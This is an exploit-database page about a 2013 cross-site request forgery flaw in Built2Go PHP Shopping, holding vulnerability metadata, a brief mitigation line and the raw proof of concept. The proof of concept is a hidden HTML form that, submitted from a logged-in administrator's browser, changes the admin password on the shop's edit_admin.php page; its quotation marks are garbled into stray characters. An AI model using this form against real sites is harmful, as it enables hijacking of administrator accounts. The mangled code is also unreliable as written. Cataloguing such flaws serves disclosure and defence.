header-logo
Suggest Exploit
vendor:
PHP Shopping
by:
SecurityFocus
8,8
CVSS
HIGH
Cross-Site Request Forgery
352
CWE
Product Name: PHP Shopping
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2013

Built2Go PHP Shopping Cross-Site Request Forgery Vulnerability

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability. Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.

Mitigation:

Implementing a secure authentication mechanism and validating all input can help to mitigate the risk of this vulnerability.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/64735/info

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers. 

<form method=�POST� name=�form0? action=� http://www.example.com/adminpanel/edit_admin.php�>
<input type=�hidden� name=�userid� value=�ADMIN�/>
<input type=�hidden� name=�pass� value=�12121212?/>
<input type=�hidden� name=�retypepass� value=�12121212?/>
<input type=�hidden� name=�addnew� value=�1?/>
<input type=�hidden� name=�action� value=�save�/>
<input type=�hidden� name=�new� value=�Submit�/>
</form>

Navigation

Suggest Exploit

Services By CQR